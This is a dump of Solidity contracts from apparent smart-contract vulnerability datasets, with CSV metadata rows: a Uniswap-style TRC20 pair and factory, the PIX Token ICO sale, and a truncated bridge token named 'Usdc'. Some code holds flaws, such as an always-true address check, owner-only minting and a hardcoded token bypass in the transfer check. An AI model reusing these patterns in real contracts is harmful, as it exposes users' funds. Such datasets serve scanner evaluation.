function getReserves() external view returns(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns(uint256);
function price1CumulativeLast() external view returns(uint256);
function kLast() external view returns(uint256);
}
interface ICallee {
function call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns(uint256 z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint256 x, uint256 y) internal pure returns(uint256 z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint256 x, uint256 y) internal pure returns(uint256 z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library Math {
function min(uint256 x, uint256 y) internal pure returns(uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns(uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library UQ112x112 {
uint224 constant Q112 = 2**112;
function encode(uint112 y) internal pure returns(uint224 z) {
z = uint224(y) * Q112;
}
function uqdiv(uint224 x, uint112 y) internal pure returns(uint224 z) {
z = x / uint224(y);
}
}
contract TRC20 is ITRC20 {
using SafeMath for uint256;
string public constant name = 'InterCrone';
string public constant symbol = 'ICR';
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint256 value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns(bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns(bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns(bool) {
if(allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
}
contract Pair is TRC20, IPair {
using SafeMath for uint256;
using UQ112x112 for uint224;
uint256 public constant MINIMUM_LIQUIDITY = 1000;
uint112 private reserve0;
uint112 private reserve1;
uint32 private blockTimestampLast;
uint256 private unlocked = 1;
address public factory;
address public token0;
address public token1;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 public kLast;
modifier lock() {
require(unlocked == 1, 'Lock: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
constructor() public {
factory = msg.sender;
}
function _safeTransfer(address token, address to, uint256 value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (token == 0xa614f803B6FD780986A42c78Ec9c7f77e6DeD13C || data.length == 0 || abi.decode(data, (bool))), 'Pair: TRANSFER_FAILED');
}
function _update(uint256 balance0, uint256 balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'Pair: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2 ** 32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
if(timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
price0CumulativeLast += uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns(bool feeOn) {
address feeTo = IFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint256 _kLast = kLast;
if(feeOn) {
if(_kLast != 0) {
uint256 rootK = Math.sqrt(uint256(_reserve0).mul(_reserve1));
uint256 rootKLast = Math.sqrt(_kLast);
if(rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 liquidity = numerator / denominator;
if(liquidity > 0) _mint(feeTo, liquidity);
}
}
}
else if(_kLast != 0) kLast = 0;
}
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'Pair: FORBIDDEN');
token0 = _token0;
token1 = _token1;
}
function mint(address to) external lock returns(uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves();
uint256 balance0 = ITRC20(token0).balanceOf(address(this));
uint256 balance1 = ITRC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
if(totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY);
}
else liquidity = Math.min(amount0.mul(totalSupply) / _reserve0, amount1.mul(totalSupply) / _reserve1);
require(liquidity > 0, 'Pair: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if(feeOn) kLast = uint256(reserve0).mul(reserve1);
emit Mint(msg.sender, amount0, amount1);
}
function burn(address to) external lock returns(uint256 amount0, uint256 amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves();
uint256 balance0 = ITRC20(token0).balanceOf(address(this));
uint256 balance1 = ITRC20(token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
amount0 = liquidity.mul(balance0) / totalSupply;
amount1 = liquidity.mul(balance1) / totalSupply;
require(amount0 > 0 && amount1 > 0, 'Pair: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(token0, to, amount0);
_safeTransfer(token1, to, amount1);
balance0 = ITRC20(token0).balanceOf(address(this));
balance1 = ITRC20(token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if(feeOn) kLast = uint256(reserve0).mul(reserve1);
emit Burn(msg.sender, amount0, amount1, to);
}
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'Pair: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves();
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pair: INSUFFICIENT_LIQUIDITY');
require(to != token0 && to != token1, 'Pair: INVALID_TO');
if(amount0Out > 0) _safeTransfer(token0, to, amount0Out);
if(amount1Out > 0) _safeTransfer(token1, to, amount1Out);
if(data.length > 0) ICallee(to).call(msg.sender, amount0Out, amount1Out, data);
uint256 balance0 = ITRC20(token0).balanceOf(address(this));
uint256 balance1 = ITRC20(token1).balanceOf(address(this));
uint256 amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint256 amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Pair: INSUFFICIENT_INPUT_AMOUNT');
{
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint256(_reserve0).mul(_reserve1).mul(1000 ** 2), 'Pair: Bad swap');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
function skim(address to) external lock {
_safeTransfer(token0, to, ITRC20(token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(token1, to, ITRC20(token1).balanceOf(address(this)).sub(reserve1));
}
function sync() external lock {
_update(ITRC20(token0).balanceOf(address(this)), ITRC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
function getReserves() public view returns(uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
}
contract Factory is IFactory {
address public feeTo;
address public feeToSetter;
mapping(address => mapping(address => address)) public pairs;
address[] public allPairs;
constructor(address _feeToSetter) public {
feeToSetter = _feeToSetter;
}
function createPair(address tokenA, address tokenB) external returns(address pair) {
require(tokenA != tokenB, 'Factory: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'Factory: ZERO_ADDRESS');
require(pairs[token0][token1] == address(0), 'Factory: PAIR_EXISTS');
pair = address(new Pair());
IPair(pair).initialize(token0, token1);
pairs[token0][token1] = pair;
pairs[token1][token0] = pair;
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external {
require(msg.sender == feeToSetter, 'Factory: FORBIDDEN');
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external {
require(msg.sender == feeToSetter, 'Factory: FORBIDDEN');
feeToSetter = _feeToSetter;
}
function getPair(address tokenA, address tokenB) external view returns(address pair) {
pair = tokenA < tokenB ? pairs[tokenA][tokenB] : pairs[tokenB][tokenA];
}
function allPairsLength() external view returns(uint256) {
return allPairs.length;
}
}
| 291,140 | 13,643 |
7e060dafe4a6dc572527a1bed70273684cb4ca7f13da58e838f4ccd2b6772e82
| 17,671 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x8effd494eb698cc399af6231fccd39e08fd20b15.sol
| 3,678 | 13,648 |
pragma solidity ^0.4.13;
contract SafeMath {
//internals
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
require(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
require(c>=a && c>=b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
require(b > 0);
uint c = a / b;
require(a == b * c + a % b);
return c;
}
}
interface Token {
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//Replace the if with this one instead.
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract PIXToken is StandardToken, SafeMath {
string public name = "PIX Token";
string public symbol = "PIX";
// Initial founder address (set in constructor)
address public founder = 0x0;
// Deposit Address - The funds will be sent here immediately after payments are made to the contract
address public deposit = 0x0;
enum State { PreSale, Day1, Day2, Day3, Running, Halted } // the states through which this contract goes
State state;
// Pricing for the pre-sale in US Cents.
uint public capPreSale = 15 * 10**8; // 15M USD cap for pre-sale, this subtracts from day1 cap
uint public capDay1 = 20 * 10**8; // 20M USD cap for day 1
uint public capDay2 = 20 * 10**8; // 20M USD cap for day 2
uint public capDay3 = 20 * 10**8; // 20M USD cap for day 3 - 10
// Token pricing information
uint public weiPerEther = 10**18;
uint public centsPerEth = 23000;
uint public centsPerToken = 12;
// Amount of funds raised in stages of pre-sale
uint public raisePreSale = 0; // USD raise during the pre-sale period
uint public raiseDay1 = 0; // USD raised on Day 1
uint public raiseDay2 = 0; // USD raised on Day 2
uint public raiseDay3 = 0; // USD raised during days 3-10
// Block timing/contract unlocking information
uint public publicSaleStart = 1502280000; // Aug 9, 2017 Noon UTC
uint public day2Start = 1502366400; // Aug 10, 2017 Noon UTC
uint public day3Start = 1502452800; // Aug 11, 2017 Noon UTC
uint public saleEnd = 1503144000; // Aug 19, 2017 Noon UTC
uint public coinTradeStart = 1505822400; // Sep 19, 2017 Noon UTC
uint public year1Unlock = 1534680000; // Aug 19, 2018 Noon UTC
uint public year2Unlock = 1566216000; // Aug 19, 2019 Noon UTC
uint public year3Unlock = 1597838400; // Aug 19, 2020 Noon UTC
uint public year4Unlock = 1629374400; // Aug 19, 2021 Noon UTC
// Have the post-reward allocations been completed
bool public allocatedFounders = false;
bool public allocated1Year = false;
bool public allocated2Year = false;
bool public allocated3Year = false;
bool public allocated4Year = false;
// Token count information
uint public totalTokensSale = 500000000; //total number of tokens being sold in the ICO, excluding bonuses, reserve, and team distributions
uint public totalTokensReserve = 330000000;
uint public totalTokensCompany = 220000000;
bool public halted = false; //the founder address can set this to true to halt the crowdsale due to emergency.
mapping(address => uint256) presaleWhitelist; // Pre-sale Whitelist
event Buy(address indexed sender, uint eth, uint fbt);
event Withdraw(address indexed sender, address to, uint eth);
event AllocateTokens(address indexed sender);
function PIXToken(address depositAddress) {
founder = msg.sender; // Allocate the founder address as a usable address separate from deposit.
deposit = depositAddress; // Store the deposit address.
}
function setETHUSDRate(uint centsPerEthInput) public {
require(msg.sender == founder);
centsPerEth = centsPerEthInput;
}
function getCurrentState() constant public returns (State) {
if(halted) return State.Halted;
else if(block.timestamp < publicSaleStart) return State.PreSale;
else if(block.timestamp > publicSaleStart && block.timestamp <= day2Start) return State.Day1;
else if(block.timestamp > day2Start && block.timestamp <= day3Start) return State.Day2;
else if(block.timestamp > day3Start && block.timestamp <= saleEnd) return State.Day3;
else return State.Running;
}
function getCurrentBonusInPercent() constant public returns (uint) {
State s = getCurrentState();
if (s == State.Halted) revert();
else if(s == State.PreSale) return 20;
else if(s == State.Day1) return 15;
else if(s == State.Day2) return 10;
else if(s == State.Day3) return 5;
else return 0;
}
function getTokenPriceInWEI() constant public returns (uint){
uint weiPerCent = safeDiv(weiPerEther, centsPerEth);
return safeMul(weiPerCent, centsPerToken);
}
function buy() payable public {
buyRecipient(msg.sender);
}
function buyRecipient(address recipient) payable public {
State current_state = getCurrentState(); // Get the current state of the contract.
uint usdCentsRaise = safeDiv(safeMul(msg.value, centsPerEth), weiPerEther); // Get the current number of cents raised by the payment.
if(current_state == State.PreSale)
{
require (presaleWhitelist[msg.sender] > 0);
raisePreSale = safeAdd(raisePreSale, usdCentsRaise); //add current raise to pre-sell amount
require(raisePreSale < capPreSale && usdCentsRaise < presaleWhitelist[msg.sender]); //ensure pre-sale cap, 15m usd * 100 so we have cents
presaleWhitelist[msg.sender] = presaleWhitelist[msg.sender] - usdCentsRaise; // Remove the amount purchased from the pre-sale permitted for that user
}
else if (current_state == State.Day1)
{
raiseDay1 = safeAdd(raiseDay1, usdCentsRaise); //add current raise to pre-sell amount
require(raiseDay1 < (capDay1 - raisePreSale)); //ensure day 1 cap, which is lower by the amount we pre-sold
}
else if (current_state == State.Day2)
{
raiseDay2 = safeAdd(raiseDay2, usdCentsRaise); //add current raise to pre-sell amount
require(raiseDay2 < capDay2); //ensure day 2 cap
}
else if (current_state == State.Day3)
{
raiseDay3 = safeAdd(raiseDay3, usdCentsRaise); //add current raise to pre-sell amount
require(raiseDay3 < capDay3); //ensure day 3 cap
}
else revert();
uint tokens = safeDiv(msg.value, getTokenPriceInWEI()); // Calculate number of tokens to be paid out
uint bonus = safeDiv(safeMul(tokens, getCurrentBonusInPercent()), 100); // Calculate number of bonus tokens
if (current_state == State.PreSale) {
// Remove the extra 5% from the totalTokensCompany, in order to keep the 550m on track.
totalTokensCompany = safeSub(totalTokensCompany, safeDiv(bonus, 4));
}
uint totalTokens = safeAdd(tokens, bonus);
balances[recipient] = safeAdd(balances[recipient], totalTokens);
totalSupply = safeAdd(totalSupply, totalTokens);
deposit.transfer(msg.value); // Send deposited Ether to the deposit address on file.
Buy(recipient, msg.value, totalTokens);
}
function allocateReserveAndFounderTokens() {
require(msg.sender==founder);
require(getCurrentState() == State.Running);
uint tokens = 0;
if(block.timestamp > saleEnd && !allocatedFounders)
{
allocatedFounders = true;
tokens = totalTokensCompany;
balances[founder] = safeAdd(balances[founder], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > year1Unlock && !allocated1Year)
{
allocated1Year = true;
tokens = safeDiv(totalTokensReserve, 4);
balances[founder] = safeAdd(balances[founder], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > year2Unlock && !allocated2Year)
{
allocated2Year = true;
tokens = safeDiv(totalTokensReserve, 4);
balances[founder] = safeAdd(balances[founder], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > year3Unlock && !allocated3Year)
{
allocated3Year = true;
tokens = safeDiv(totalTokensReserve, 4);
balances[founder] = safeAdd(balances[founder], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > year4Unlock && !allocated4Year)
{
allocated4Year = true;
tokens = safeDiv(totalTokensReserve, 4);
balances[founder] = safeAdd(balances[founder], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else revert();
AllocateTokens(msg.sender);
}
function halt() {
require(msg.sender==founder);
halted = true;
}
function unhalt() {
require(msg.sender==founder);
halted = false;
}
function changeFounder(address newFounder) {
require(msg.sender==founder);
founder = newFounder;
}
function changeDeposit(address newDeposit) {
require(msg.sender==founder);
deposit = newDeposit;
}
function addPresaleWhitelist(address toWhitelist, uint256 amount){
require(msg.sender==founder && amount > 0);
presaleWhitelist[toWhitelist] = amount * 100;
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(block.timestamp > coinTradeStart);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(block.timestamp > coinTradeStart);
return super.transferFrom(_from, _to, _value);
}
function() payable {
buyRecipient(msg.sender);
}
}
| 211,656 | 13,644 |
bc69b3b793d2b0a31183da85fe9c18119121cf5802bb12d5708ac3c0de888a3a
| 22,016 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/de/De44A719629eC994088eD23db9dEE01676B6ac6f_Usdc.sol
| 3,835 | 14,675 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.1;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function nonces(address owner) external view returns (uint256);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IWERC10 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's WERC10 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` WERC10 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` WERC10 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/// balance of ETH deposited minus the ETH withdrawn with that specific wallet.
contract Usdc is IWERC10 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable decimals;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of WERC10 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
address private _oldOwner;
address private _newOwner;
uint256 private _newOwnerEffectiveTime;
modifier onlyOwner() {
require(msg.sender == owner(), "only owner");
_;
}
function owner() public view returns (address) {
if (block.timestamp >= _newOwnerEffectiveTime) {
return _newOwner;
}
return _oldOwner;
}
function changeDCRMOwner(address newOwner) public onlyOwner returns (bool) {
require(newOwner != address(0), "new owner is the zero address");
_oldOwner = owner();
_newOwner = newOwner;
_newOwnerEffectiveTime = block.timestamp + 2*24*3600;
emit LogChangeDCRMOwner(_oldOwner, _newOwner, _newOwnerEffectiveTime);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyOwner returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(bindaddr != address(0), "bind address is the zero address");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeDCRMOwner(address indexed oldOwner, address indexed newOwner, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _owner) {
name = _name;
symbol = _symbol;
decimals = _decimals;
_newOwner = _owner;
_newOwnerEffectiveTime = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of WERC10 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's WERC10 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's WERC10 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "WERC10: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool) {
require(block.timestamp <= deadline, "WERC10: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "WERC10: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal pure returns (bool) {
bytes32 hash = prefixed(hashStruct);
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
// Builds a prefixed hash to mimic the behavior of eth_sign.
function prefixed(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/// @dev Moves `value` WERC10 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` WERC10 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WERC10: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of WERC10 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "WERC10: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "WERC10: transfer amount exceeds balance");
